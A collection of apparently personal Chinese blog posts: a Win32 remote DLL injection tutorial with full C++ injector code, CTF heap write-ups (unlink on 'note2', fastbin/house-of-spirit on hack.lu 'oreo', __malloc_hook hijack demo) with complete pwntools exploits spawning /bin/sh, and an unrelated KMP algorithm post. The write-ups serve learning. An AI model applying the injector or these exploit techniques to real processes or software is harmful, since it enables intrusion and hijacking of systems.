没想到入坑WIN32居然是从这个地方,由于对WIN32不太了解,所以摸索起来比较困难。sad师傅推荐了《windows核心编程》这本书,个人感觉还是挺好的,就是得耐下心多读读才能领会。

0x00 Win下进程的内存结构

程序在运行时会把自身的二进制文件加入到内存中,其中相关的函数、变量等都会在内存中对应固定的地址。但是程序功能一般不会仅靠单独一个二进制文件实现,有时还需要调用系统提供的API来进行一些操作。而这通常是靠引用预先集成了许多函数的DLL(动态链接库)文件,并调用其中的函数来实现。由于DLL不包含在程序的二进制文件中,所以需要在运行的时候由操作系统加入到进程的内存空间中。

那么如果我们能够编写一个工具,实现将我们自己编写的DLL注入到另一个不同的进程的内存空间中,就相当于有了间接控制这个进程的能力。(在此处只讨论如何注入)

0x01 几个要用到的win32 API

进程相关

  • OpenProcess 获得要注入进程的句柄
  • VirtualAllocEx在远程进程中开辟出一段内存
  • WriteProcessMemory将Dll的名字写入第二步开辟出的内存中
  • CreateRemoteThreadLoadLibraryA作为线程函数,参数为Dll的名称,创建新线程
  • CloseHandle关闭线程句柄

权限相关

  • OpenProcessToken打开进程令牌
  • LookupPrivilegeValue
  • AdjustTokenPrivileges

具体参数可以百度或者谷歌搜索,也可以参考sad师傅的博客关于这些API的介绍:

https://www.jianshu.com/p/044931d7e4d6

0x02 思路

  1. 提升进程权限(非必须)
  2. 利用进程PID获得目标进程的句柄
  3. 在目标进程中开辟出一段内存写入需要调用的DLL的路径(因为后续步骤加载DLL时所用的参数需要在同一内存空间中)
  4. 获得 LoadLibraryA 在目标进程中的地址(通常在所有进程中是一样的),利用 LoadLibraryA 作为线程函数,DLL路径地址作为参数,在目标进程中创建一个线程用来加载DLL
  5. 完成注入后关闭相关句柄

0x03 代码实现

进程提权

int EnableDebugPriv(const char* name)
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    //打开进程令牌环
    //GetCurrentProcess()获取当前进程句柄
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
    //获得进程本地唯一ID
    LookupPrivilegeValue(NULL, (LPCWSTR)name, &luid);
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    tp.Privileges[0].Luid = luid;
    //调整权限
    int ret = AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
    return ret;
}

DLL注入

int remoteInjection(const DWORD PID) {
    HANDLE hRemoteProcess;
    HANDLE hRemoteThread;
    char* pszLibFileRemote;

    printf("DEFAULT DLL PATH: %s\n", DLLname);

    if (!EnableDebugPriv((const char*)SE_DEBUG_NAME)) {
        cout << "* FAIL TO: Get SEDEBUG privilege" << endl;
        return 0;
    }
    else {
        cout << "* SUCCESS TO: Get SEDEBUG privilege" << endl;
    }
/*拿到目标进程句柄*/
    hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, false, PID);
    if (hRemoteProcess) {
        cout << "* SUCCESS TO: Open process" << endl;
        cout << "Got Handle: " << hRemoteProcess << endl;
    }
    else {
        cout << "* FAIL TO: Open process" << endl;
        return 0;
    }
/*开辟一段内存*/
    pszLibFileRemote = (char *)VirtualAllocEx(hRemoteProcess, NULL, strlen(DLLname) + 10, MEM_COMMIT, PAGE_READWRITE);
    if (pszLibFileRemote) {
        cout << "* SUCCESS TO: Allocate remote memory space" << endl;
        printf("Remote addr: 0x%p\n", (long long)pszLibFileRemote);
    }
    else {
        cout << "* FAIL TO: Allocate remote memory space" << endl;
        return 0;
    }
/*写入DLL路径到目标进程*/
    if (WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (void *)DLLname, strlen(DLLname) + 10, NULL)) {
        cout << "* SUCCESS TO: Write memory" << endl;
    }
    else {
        cout << "* FAIL TO: Write memory" << endl;
        return 0;
    }
    //PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)LoadLibraryA;
/*获得LoadLibraryA函数的地址*/
    PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32"), "LoadLibraryA");
    if (pfnStartAddr == NULL) {
        cout << "* FAIL TO: Get LoadLibraryA() addr" << endl;
        return 0;
    }
    else
    {
        cout << "* SUCCESS TO: Get LoadLibraryA() addr" << endl;
        printf("LoadLibraryA addr: 0x%p\n", (long long)pfnStartAddr);
    }
/*在目标进程中创建线程加载DLL*/
    hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
    //在这一步注入了自己创建的DLL
    if (hRemoteThread) {
        cout << "* SUCCESS TO: Create remote thread" << endl;
    }
    else {
        cout << "* FILE TO: Create remote thread" << endl;
        return 0;
    }
/*等待线程结束*/
    WaitForSingleObject(hRemoteThread, INFINITE);
/*关闭句柄*/
    CloseHandle(hRemoteProcess);
    CloseHandle(hRemoteThread);
    return 1;
}

完整项目源码

github: https://github.com/yikesoftware/Remote_DLL_Injection

本项目在vs2019下编写

项目提供了:

  • 用于注入的程序源码
  • 带有注入成功弹窗提示的测试用DLL源码
  • 被注入的测试程序源码

注意

部分受保护进程可能会出现注入失败

算是unlink的一道经典题目,借助这道题来整理一下Unlink任意写的基本使用方法与注意事项。exp参照官方wp做了调整。

这里不对题目本身做太多逆向分析,下面是下载链接,包含了题目和exp:
点击下载

0x00 Unlink的原理

unlink的过程

Unlink顾名思义就是把元素从链表取出的一种操作,这种操作常常发生在malloc和执行free后内存块合并的过程。这是unlink的流程图:

可以简单归结为FD->bk = fd , BK->fd = bk ,也就是指针值的传递。

向低地址合并

这里着重讨论见得较多的情况:向前合并。

如果被free的是一个非fastbin大小的内存块,将会优先从内存低地址区域寻找空闲部分进行合并(尔后再尝试向高地址合并)。向低地址合并前,被合并的块(位于高地址)需要经过一些检查,这些检查也是我们构造exp时要注意绕过的地方:

检查目标检查条件报错信息
size vs prev_sizechunksize(P) != prev_size (next_chunk(P))corrupted size vs. prev_size
Fd, bk 双向链表检查FD->bk != P || BK->fd != Pcorrupted double-linked list
nextsize 双向链表P->fd_nextsize->bk_nextsize != P || P->bk_nextsize->fd_nextsize != Pcorrupted double-linked list (not small)

主要关注前两项,也就是内存块大小检查双链表完整性检查

  • 内存块大小的检查是通过读取被检查内存块的nextchunk的prevsize与自身size作比较,而“prevsize”(不一定是真的prevsize)的位置又是由size决定。于是我们就可以在原有的chunk中利用可写的部分伪造出一个fake_chunk,在这个chunk的末尾pad上一个fake_prevsize,从而绕过了对被合并内存块的大小检查。
  • 双向链表的完整性检查其实通俗而言就是检查:上一个节点的下一个节点是不是自己,下一个节点的上一个节点是不是自己。这个检查通过对前后节点bk,fd域和自身起始地址的比较实现。意味着,只要找到静态数据区域中记录了本区块地址的位置addr,构造 p->fd = addr-0x18 和 p->bk = addr-0x10就可以绕过该检查

关于为什么要unlink

这是glibc实现向前合并的部分代码:

        /* consolidate backward */
        if (!prev_inuse(p)) {
            prevsize = prev_size(p);
            size += prevsize;
            p = chunk_at_offset(p, -((long) prevsize));
            unlink(av, p, bck, fwd);
        }

其实我不能从linux开发者的角度而言完整的解释unlink存在的必要性。但是通过对bins特性的分析可以知道,通常bins中链接的是大小相同的chunk,当合并动作发生,改变了原有chunk的大小,就需要脱出原先的bins(unlink),加入unsortedbin中,减少内存中的碎片。需要注意的是,如果向前合并后发现向后可以直接合并进入top chunk那么将会整个进入top chunk,调试的时候要留心一下。

0x01 题目分析

首先要想构造fakechunk起码得找个能堆溢出的地方,一开始检查了好几遍输入函数都没发现整数溢出(还是题见得少)。

unsigned __int64 __fastcall get_input(__int64 ptr, __int64 len, char EOF)
{
  char endchar; // [rsp+Ch] [rbp-34h]
  char buf; // [rsp+2Fh] [rbp-11h]
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t num; // [rsp+38h] [rbp-8h]

  endchar = EOF;
  for ( i = 0LL; len - 1 > i; ++i )             // i是无符号的,在做比较的时候会化为无符号比较,若len为0,则len-1为0xFFFFFFFFFFFFFFFF,导致条件永真,堆溢出
  {
    num = read(0, &buf, 1uLL);
    if ( num <= 0 )
      exit(-1);
    if ( buf == endchar )
      break;
    *(_BYTE *)(i + ptr) = buf;
  }
  *(_BYTE *)(ptr + i) = 0;
  return i;
}

这个函数中,for循环的 i 是无符号整数,在与len-1作比较时会先将len-1也转化为无符号类型,这时候如果len传入1,len-1将变成0xFFFFFFFFFFFFFFFF,使得表达式恒成立,可以不加限制地进行输入,导致了堆块的溢出。

该程序会将申请到的堆块指针和申请的大小保存在全局变量区,修改这部分内容可能可以利用程序自身的edit功能进行任意写。

顺带一提,程序关闭了GOT表保护,这提示了我们可以通过改写got表来getshell。

0x02 exp思路

这题的堆块创建次数最多4次,所以不太方便用fastbin attack进行任意写,于是尝试unlink。

构造任意写到全局变量

chunk[0] 首先需要一个容纳fakechunk的内存块,我们设想的fakechunk只需要包含一个fastchunk + 一个fake_prevsize域就够了。同时要留意,我们后面的步骤可能要借助edit功能写某些地址,所以申请的size可以大一些,不然可能到时可写的字节数不够。经过计算,申请0x40获得一个0x50的块是最划算的大小。

chunk[1] 其次需要利用整数溢出,申请大小为“0”的块达到无限制输入。但是由于堆的分配机制,会给用户分配0x20大小的堆块。

chunk[2] 最后需要一个0x90(申请0x80)的small chunk,这样释放之后才能触发向前合并从而触发unlink

按照上文在chunk[0]中将fakechunk的fd和bk设置为:&chunk[0]-0x18,&chunk[0]-0x10,并利用溢出修改chunk[2]的prevsize和prev_inuse域。此时free掉chunk[2]便可以触发unlink,使得原来存放 &chunk[0] 的地址存放了 &chunk[0]-0x18 。

只要用edit功能从chunk[0]-0x18开始往后写并覆盖chunk[0]为strlen@got的地址,再show chunk[0]就可以泄露libc拿到system地址。

同样的方法修改strlen@got的值为system地址,这时只要出现了strlen("/bin/sh\x00"); 就相当于执行了"system("/bin/sh\x00")"

exp

#!/usr/bin/python3

from pwn import *

p=process("./note2")
elf=ELF("./note2")
libc=ELF("./libc.so.6")

context.log_level="debug"

strlen_plt=elf.plt[b"strlen"]
strlen_got=elf.got[b"strlen"]

def new(content,length:int):
    p.recvuntil(b'option--->>')
    p.sendline(b"1")
    p.recvuntil(b"Input the length of the note content:(less than 128)\n")
    p.sendline(str(length).encode())
    p.recvuntil(b"Input the note content:\n")
    p.sendline(content)
    pass
    
def show(idx:int):
    p.recvuntil(b'option--->>')
    p.sendline(b"2")
    p.recvuntil(b"Input the id of the note:\n")
    p.sendline(str(idx).encode())
    pass
    
def edit(idx:int,mode:int,content):
    p.recvuntil(b'option--->>')
    p.sendline(b"3")
    p.recvuntil(b"Input the id of the note:\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"do you want to overwrite or append?[1.overwrite/2.append]\n")
    p.sendline(str(mode).encode())
    p.recvuntil(b"TheNewContents:")
    p.sendline(content)
    pass

def delete(idx:int):
    p.recvuntil(b'option--->>')
    p.sendline(b"4")
    p.recvuntil(b"Input the id of the note:\n")
    p.sendline(str(idx).encode())
    pass
    
def exp():
    name=b"aaaa"
    address=b"bbbb"
    p.recvuntil(b"Input your name:\n")
    p.sendline(name)
    p.recvuntil(b"Input your address:\n")
    p.sendline(address)
    
    #1 unlink
    list_head = 0x602120
    fake_fd = list_head-0x18
    fake_bk = list_head-0x10 #result: fake_bk->fd == fake_fd
    #payload1=b"a"*8+p64(0x61)+p64(fake_fd)+p64(fake_bk)+b'a'*64+p64(0x60)
    
    payload1=b"a"*8+p64(0x21)+p64(fake_fd)+p64(fake_bk)+p64(0x20)
    new(payload1,0x40) #idx0
    new(b"b"*0x8,0) #idx1
    new(b"c"*0x10,0x80) #idx2
    
    delete(1) # del idx1
    payload2=b"b"*0x10+p64(0x60)+p64(0x90)
    new(payload2,0) #idx3
    delete(2)
    
    #2 rewrite&leak
    payload3=b"d"*0x18+p64(strlen_got)
    edit(0,1,payload3)
    show(0)
    #gdb.attach(p)
    p.recvuntil(b"Content is ")
    strlen = u64(p.recvuntil(b"\n",drop=True).ljust(8,b"\x00"))
    system=libc.symbols[b"system"]-libc.symbols[b"strlen"]+strlen
    print("strlen@got: ",hex(strlen_got))
    print("strlen: ",hex(strlen))
    print("system: ",hex(system))
    
    #3 edit strlen@got to system
    payload4=p64(system)
    edit(0,1,payload4)
    edit(0,1,b"/bin/sh\x00") #trigger to use "strlen()" so that jump to system()
    
    #getshell
    p.interactive()
    
    
if __name__=="__main__":
    exp()

方法思路不唯一,欢迎补充。

算是一个比较简单的算法吧,主要思想就是空间换时间。挺早之前在知乎上看到一篇文章写的不错,看懂了个大概,但是还没写过。于是趁有时间(偷懒)写了个简单的例子,备忘。

https://www.zhihu.com/question/21923021/answer/1032665486

算法图示

预处理模式串,计算失配后的会退位置

code

#include<cstdio>
#include<cstring>
#include<iostream>

#define MANLEN 1024

char txt[MANLEN];
char pat[MANLEN];
int next[MANLEN];

void Getnext(const char *raw){
    int len = strlen(raw);
    int x = 1; //遍历pattern串与now作比较
    int now = 0; //永远指向当前最长前缀的下一位
    next[0] = 0; 
    while(x<len){
        if( raw[x] == raw[now]){
            now++;
            next[x++]=now;
        }
        else
            if(now)
                now=next[now-1];
            else{
                next[x]=0;
                x++;
            }
    }
    puts("next: ");
    for(int i=0;i<len;i++)
        printf("%d ",next[i]);
    puts("\n-----------");
}

void KMP(const char *txt,const char *pat){
    int N=strlen(txt);
    int M=strlen(pat);
    printf("txt_len:%d  pat_len:%d\n",N,M);
    for(int i=0,j=0;i<N;i++){ //在这个算法中,一定不会出现重复比较
        if(txt[i]==pat[j]){
            j++;
            if(j==M){ //发现完配串,输出位置(主串绝对位置-模式串偏移)
                printf("index: %d\n",i+1-j);
                j=0;
            }
        }
        else
            j=next[j]; //失配时把j移到最长重复前缀的下一位
    }
}

int main(int argc,char *argv[]){
    puts("txt:");
    scanf("%s",txt);
    puts("pat:");
    scanf("%s",pat);
    Getnext(pat);
    KMP(txt,pat);
    return 0;
}

如果有漏洞或者什么值得优化的地方欢迎指正!

题目很巧妙,而且很容易忽略一些细节导致掉进坑里出不来。本人在写的时候就遭遇了一些百思不得解的问题,而后通过慢慢的调试推演找到了问题所在地。在博客里?一下,防止以后再犯。

参考资料: https://wiki.x10sec.org/pwn/heap/fastbin_attack/

题目概况

题目名:2014_hack.lu_oreo

防护措施:

$ checksec oreo
[*] '/home/eqqie/CTF/ctf-challenges/pwn/heap/fastbin-attack/2014_hack.lu_oreo/oreo'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

RELRO是关的,说明很可能需要进行覆盖got表的操作。(常规套路lol)

代码审计

在IDA中逆向分析该程序的功能功能构成以及可能被利用的位置。

该程序是一个模拟线上枪支交易系统,可以新建枪支信息(name,description)以及提出Order,还可以写一段 message,以及查看 added rifles 和 state。看起来挺繁杂的,需要慢慢理清相互之间的关系。

相关函数信息:

1. Add new rifle

unsigned int add_new()
{
  char *prev_chunk; // [esp+18h] [ebp-10h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  prev_chunk = curr_chunk_ptr;
  curr_chunk_ptr = (char *)malloc(56u);
  if ( curr_chunk_ptr )
  {
    *((_DWORD *)curr_chunk_ptr + 13) = prev_chunk;// 最后四个字节保存上次申请的chunk的指针
    printf("Rifle name: ");
    fgets(curr_chunk_ptr + 25, 56, stdin);
    line_end_check(curr_chunk_ptr + 25);
    printf("Rifle description: ");
    fgets(curr_chunk_ptr, 56, stdin);
    line_end_check(curr_chunk_ptr);
    ++Rifle_count;
  }
  else
  {
    puts("Something terrible happened!");
  }
  return __readgsdword(0x14u) ^ v2;
}

2. Show added rifles

unsigned int show_added()
{
  char *i; // [esp+14h] [ebp-14h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  printf("Rifle to be ordered:\n%s\n", "===================================");
  for ( i = curr_chunk_ptr; i; i = (char *)*((_DWORD *)i + 13) )// 从最后一条记录开始向前遍历,知道prev_chunk_ptr为0,也就是遍历到第一条记录为止
  {
    printf("Name: %s\n", i + 25);
    printf("Description: %s\n", i);
    puts("===================================");
  }
  return __readgsdword(0x14u) ^ v2;
}

3. Order selected rifles

unsigned int order_selected()
{
  char *ptr; // ST18_4
  char *temp; // [esp+14h] [ebp-14h]
  unsigned int v3; // [esp+1Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  temp = curr_chunk_ptr;
  if ( Rifle_count )
  {
    while ( temp )
    {
      ptr = temp;
      temp = (char *)*((_DWORD *)temp + 13);    // 递归取得prev_chunk的指针并将curr_chunk释放掉
      free(ptr);
    }
    curr_chunk_ptr = 0;
    ++Order_count;                              // order总数增加
    puts("Okay order submitted!");
  }
  else
  {
    puts("No rifles to be ordered!");
  }
  return __readgsdword(0x14u) ^ v3;
}

4. Leave a Message with your Order

unsigned int message()
{
  unsigned int v0; // ST1C_4

  v0 = __readgsdword(0x14u);
  printf("Enter any notice you'd like to submit with your order: ");
  fgets(message_ptr, 128, stdin);
  line_end_check(message_ptr);
  return __readgsdword(0x14u) ^ v0;
}

5. Show current stats

unsigned int show_state()
{
  unsigned int v1; // [esp+1Ch] [ebp-Ch]

  v1 = __readgsdword(0x14u);
  puts("======= Status =======");
  printf("New:    %u times\n", Rifle_count);
  printf("Orders: %u times\n", Order_count);
  if ( *message_ptr )
    printf("Order Message: %s\n", message_ptr);
  puts("======================");
  return __readgsdword(0x14u) ^ v1;
}

6. menu

unsigned int menu()
{
  unsigned int v1; // [esp+1Ch] [ebp-Ch]

  v1 = __readgsdword(0x14u);
  puts("What would you like to do?\n");
  printf("%u. Add new rifle\n", 1);
  printf("%u. Show added rifles\n", 2);
  printf("%u. Order selected rifles\n", 3);
  printf("%u. Leave a Message with your Order\n", 4);
  printf("%u. Show current stats\n", 5);
  printf("%u. Exit!\n", 6);
  while ( 1 )
  {
    switch ( get_choice() )
    {
      case 1:
        add_new();
        break;
      case 2:
        show_added();
        break;
      case 3:
        order_selected();
        break;
      case 4:
        leave_message();
        break;
      case 5:
        show_state();
        break;
      case 6:
        return __readgsdword(0x14u) ^ v1;
      default:
        continue;
    }
  }
}

一条new rifle的记录结构如下:

00000000 rifle           struc ; (sizeof=0x38, mappedto_5)
00000000 descript        db 25 dup(?)
00000019 name            db 27 dup(?)
00000034 next            dd ?                    ; offset
00000038 rifle           ends

在bss段中有一个全局变量一只保存着当前最新的记录对应的chunk的指针,每个chunk尾部有一个next指针指向上一条记录的位置,在 Show added rifles 时便是利用next指针逐级向前显示之前的记录内容。

观察发现,在新增信息,也就是 Add new rifle 的时候,没有正确控制输入长度,导致存在堆溢出,可以修改堆尾部next指针的内容。这意味着只要我们修改next到某个已经完成延迟绑定的函数的got表位置,就可以利用 Show added rifles 泄露这个函数在内存中的位置,从而泄露其它函数如system在内存中的位置。

同时我们发现bss段的结构如下:

.bss:0804A288 curr_chunk_ptr  dd ?                    
.bss:0804A288                                         
.bss:0804A28C                 align 20h
.bss:0804A2A0 Order_count     dd ?                    
.bss:0804A2A0                                         
.bss:0804A2A4 Rifle_count     dd ?                   add_new+C5↑r
.bss:0804A2A4                                         
.bss:0804A2A8 ; char *message_ptr
.bss:0804A2A8 message_ptr     dd ?                    
.bss:0804A2A8                                         
.bss:0804A2AC                 align 20h
.bss:0804A2C0 message_area    db    ? ;               
.bss:0804A2C1                 db    ? ;
.bss:0804A2C2                 db    ? ;
.bss:0804A2C3                 db    ? ;
.bss:0804A2C4                 db    ? ;
.bss:0804A2C5                 db    ? ;
.bss:0804A2C6                 db    ? ;
.bss:0804A2C7                 db    ? ;
.bss:0804A2C8                 db    ? ;
.bss:0804A2C9                 db    ? ;
.bss:0804A2CA                 db    ? ;
.bss:0804A2CB                 db    ? ;
.bss:0804A2CC                 db    ? ;
.bss:0804A2CD                 db    ? ;
.bss:0804A2CE                 db    ? ;
.bss:0804A2CF                 db    ? ;
......

Order_count和Rifle_count长度都为4个字节(暗示可以作为chunk的头部),且Rifle_count的值和message_area的内容都可以被控制,这让我们想到可以利用house of sprit 在此处构造一个fake chunk并释放进入fastbin,经过再分配便可以修改messgae_ptr的值到任意可写的位置,这样当我们使用 Leave a Message with your Order 功能的时候就相当于任意地址写

由于RELRO关闭,如果我们找到一个合适的got表项覆盖为system函数的地址便可以getshell。观察发现strlen@got最适合完成此操作,其参数和system一样都为const char *s,且在 leave message 和 add new rifle 时都会调用到strlen统计输入内容的长度,这意味着"/bin/sh"字符串可从流中输入作为system的参数。

确定exp思路

  1. (泄露)add一条记录溢出修改next指针域到puts的got表,利用 Show added rifles 把got表的地址打印出来,再通过偏移计算出内存中system的地址。
  2. (构造fakechunk)
    2-1. 前面提到把 Order_count 和 Rifle_count 伪造成chunk头,那么根据题目中固定chunk的大小0x38可以确定,被伪造出来的chunk应该属于0x40的fastbin,所以要通过不断add把 Rifle_count 的值增加到0x40,但是要注意的是最后一条记录需要单独构造next指针域,因为之后通过free把fakechunk放进fastbin时需要通过这个next指针指向fakechunk,这样在free时就可以形成只含两个chunk的fastbin,便于再次malloc时获取到我们构造的fake chunk。

    2-2. 注意除了构造fakechunk,还要构造一个符合规则的next_size以及需要把fakechunk的next指针域设置为0,避免在free时发生莫名其妙的错误(由于这里被我忽略了,构造next_size时直接通过padding char的方式,导致了fakechunk的next指针域没有清零,卡了老半天)。

  3. (覆盖strlen的got表为system的地址) fakechunk构造好后利用 Order selected rifles free掉最后一个chunk以及其next指针指向的fakechunk。由于fakechunk是后释放的,只需要再add一次就可以获得它。并且在add时description的前4个字节就是message_ptr指针的值。只要将其设置为strlen@got的地址,再调用 Leave a Message with your Order 功能向strlen@got写入system的地址便完成了绑定。
  4. (getshell)这里有一个细节,也是我没注意的地方。因为 Leave a Message with your Order 本身在输入完message之后就会调用一次strlen计算message的长度。但是此处输入之后,strlen已经变成了system,那岂不是会发生system(system_addr)这样的乌龙?没错之前出现这个的问题的时候脑子没转过来,下意识以为exp中存在什么错误。反应过来后想到只需要在message后加上";/bin/sh\x00"(注意尾部填充\x00截断)就可以继续执行/bin/sh从而getshell !

完整exp

在python3-pwntool下编写,直接搬到py2注意bytes问题。
系统版本:Ubuntu 16.04 (glibc-2.23)

#!/usr/bin/python3
from pwn import *

p=process("./oreo")
elf=ELF("./oreo")
libc=ELF("./libc.so.6")

strlen_got=elf.got[b"strlen"]
log.success("strlen_got: %s"% hex(strlen_got))
puts_got=elf.got[b"puts"]
log.success("puts_got: %s"% hex(puts_got))
fake_chunk=0x0804A2A8
log.success("fake_chunk: %s"% hex(fake_chunk))

#context.log_level="debug"

def add(name,desc):
    p.sendline(b"1")
    p.sendline(name)
    p.sendline(desc)
    
def show_rifle():
    p.sendline(b"2")
    
def order():
    p.sendline(b"3")
    
def message(content):
    p.sendline(b"4")
    p.sendline(content)
    
def state():
    p.sendline(b"5")
    
    
def exp():
    print("==============exp start===============")
    
    print("***Leak glibc***")
    add(b"A"*27+p32(puts_got),b"a"*24)
    show_rifle()
    p.recvuntil(b"Description: ")
    p.recvuntil(b"Description: ")
    puts_addr=u32(p.recv(4))
    system_addr=libc.symbols[b"system"]-libc.symbols[b"puts"]+puts_addr
    binsh_addr=next(libc.search(b"/bin/sh"))-libc.symbols[b"puts"]+puts_addr
    log.success("puts_addr: %s"% hex(puts_addr))
    log.success("system_addr: %s"% hex(system_addr))
    log.success("binsh_addr: %s"% hex(binsh_addr))
    print("****************")
    
    for i in range(0x40-2):
        add(str(i+2).encode(),b"padding")
    add(b"A"*27+p32(fake_chunk),b"BBBBBBBB")

    message(b"C"*(0x0804A2A8+0x38+0x4-0x0804A2C0-0x8)+b"\x00"*8+p32(0x11))
    order()
    add(b"DDDD",p32(strlen_got))
    #gdb.attach(p)

    message(p32(system_addr)+b";/bin/sh\x00")
    #gdb.attach(p)
    print("==============exp end=================")
    p.interactive()
if __name__=="__main__":
    exp()

谢谢支持,欢迎指正!

在Arbitrary Alloc 的学习中,不可避免的一种用法就是通过字节偏移伪造size域绕过malloc的检测从而在__malloc_hook处伪造一个chunk,达到任意写的目的。

参考资料:https://wiki.x10sec.org/pwn/heap/fastbin_attack/

__malloc_hook的作用

__malloc_hook是glibc中的一个函数指针变量,它的原型如下:

/*第一个同malloc的size参数,第二个参数是调用malloc的那个函数的地址*/
void * function(size_t size, void * caller)

可见其实__malloc_hook相当于给malloc函数套了一层外壳,当这个函数指针的值不为NULL时,系统在调用malloc是就会触发这个hook,执行hook所指向的函数。合理构造该函数就可以达到自定义malloc的行为,捕获甚至控制返回值。于是我们想到通过之前的uaf和fastbin相关的知识,把堆块构造到该处便可以修改hook函数为自定义位置的函数,达到getshell的目的。

类似的还有__free_hook, __realloc_hook 等,原理大同小异

分析构造思路

为了试验方便,首先关闭Linux系统的ASLR功能。

以下部分步骤由于系统差异可能稍有不同,所以只讲大概思路

1. objdump查看系统对应版本glibc中__malloc_hook的偏移量

$ objdump libc.so.6 -D -M intel | grep __malloc_hook
...
00000000003c4b10 <__malloc_hook@@GLIBC_2.2.5>:

得到偏移 0x3c4b10,加上当前系统glibc加载时的基址 0x00007ffff7a0d000 推算出程序运行时其在内存中的位置为 0x00007ffff7dd1b10

2. gdb调试寻找合适的字节

利用uaf的方法,构造已经释放的fastchunk的fd域,从而在fastbin中伪造出一个chunk,通过malloc便可以修改该chunk内容。那么关键就在于,需要在__malloc_hook附近找到一个合适的字节,能构造成一个在fastbin范围内(64位:0x20 ~ 0x80)且包含了要控制的部分在内的size域。

随便写一个程序(因为要在动态环境下分析glibc的变量),在gdb中查看刚刚算出来的__malloc_hook附近的字节:

0x7ffff7dd1ae0 <_IO_wide_data_0+288>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1ae8 <_IO_wide_data_0+296>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1af0 <_IO_wide_data_0+304>:	0x60	0x02	0xdd	0xf7	0xff	0x7f	0x00	0x00
0x7ffff7dd1af8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1b00 <__memalign_hook>:	0x20	0x2e	0xa9	0xf7	0xff	0x7f	0x00	0x00
0x7ffff7dd1b08 <__realloc_hook>:	0x00	0x2a	0xa9	0xf7	0xff	0x7f	0x00	0x00
0x7ffff7dd1b10 <__malloc_hook>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1b18:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0x7ffff7dd1b20 <main_arena>:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00

观察发现,在0x7ffff7dd1af5的位置可以构造出0x000000000000007fL,而由计算fastbin_index的宏:

##define fastbin_index(sz)                                                      \
    ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

可以知道若用这个字节构造chunk,对应的应该是size为0x70的chunk(此处指整个chunk的大小),于是我们uaf应该在0x70的fastbin上进行。

至此可以得出思路:修改已知chunk的fd域到该字节位置 -> 通过malloc或者__malloc_hook处伪造的chunk -> 然后计算好偏移,修改__malloc__hook的值到我们预先安排好的backdoor的地址 -> 运行&getshell

3. 编写一个demo检验一下

#include<stdio.h>
#include<stdlib.h>
#include<sys/types.h>
/*backdoor function*/
void getshell(void){
    system("/bin/sh");
}

int main(void)
{
    void *chunk1;
    void *chunk_a;
    long long * malloc_hook;

    chunk1=malloc(0x60);
    printf("chunk_1 : %p\n",chunk1);
    free(chunk1);
    puts("Create fastbin.");

    /*修改fd域*/
    *(long long *)chunk1=0x7ffff7dd1af5-0x8;
    malloc(0x60);
    chunk_a=malloc(0x60);
    printf("chunk_a : %p\n",chunk_a);

    /*通过偏移计算出__malloc_hook的位置并修改至getshell函数*/
    malloc_hook=(long long *)((long long)chunk_a+0x13);
    *malloc_hook=0x400646L;
    printf("__malloc_hook_value : %lld\n",*malloc_hook);
    
    /*再次malloc触发钩子*/
    malloc(60);
    return 0;
}

总结

该篇简单介绍了__malloc_hook的利用方式,其中最关键的是偏移的计算,需要一定的耐心和细心。

谢谢阅读,欢迎评论指正!